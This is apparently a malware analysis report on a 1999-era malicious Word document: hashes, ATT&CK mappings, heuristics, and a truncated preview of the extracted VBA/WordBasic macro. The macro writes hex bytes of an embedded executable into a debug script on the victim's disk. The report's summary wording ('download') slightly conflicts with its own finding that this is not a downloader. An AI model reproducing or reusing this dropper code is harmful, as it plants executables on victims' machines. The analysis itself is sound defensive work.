Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e58620793461723…

MALICIOUS

Office (OLE)

305.5 KB Created: 1999-04-03 20:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d7c755e7a7c4f492fa08a840e0c95456 SHA-1: bb495f4267fe0366a6e01211be38b5cbb50ff606 SHA-256: 6e5862079346172382f3674b303292250952649942d3fd54e522d3699521e2c8
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a Word document containing a VBA macro with AutoOpen and Auto_Close subroutines. The macro uses the Shell() function to write a second-stage payload, identified as 'n c:\myscript.exe' followed by hex data, to the file C:\myscript.scr. This indicates an attempt to download and execute a malicious executable.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 697975 bytes
SHA-256: fd4c41cbdcd176086ef38eb988d155fa228773a64299f0aa5b79c15ca451dafd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Payload3"

Public Sub MAIN()
Dim T$
T$ = Chr(13) + Chr(10)
WordBasic.Insert "Open " + Chr(34) + "C:\myscript.scr" + Chr(34) + _
" For Output As #1" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"n c:\myscript.exe" + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0100 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0110 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0140 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0150 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0160 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0170 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 01a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 01b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 01c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 01d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 01e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 01f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0200 50 45 00 00 4c 01 03 00 7e 26 3a aa 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0210 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 16 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0220 00 04 00 00 00 00 00 00 00 10 00 00 00 10 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0230 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0240 01 00 00 00 00 00 00 00 03 00 0a 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0250 00 50 00 00 00 04 00 00 00 00 00 00 02 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0260 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0270 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 02a0 00 40 00 00 a8 01 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
WordBasic.Insert "print #1, " + Chr(34) + _
"e 02b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " + _
Chr(34) + "" + T$
Wo
... (truncated)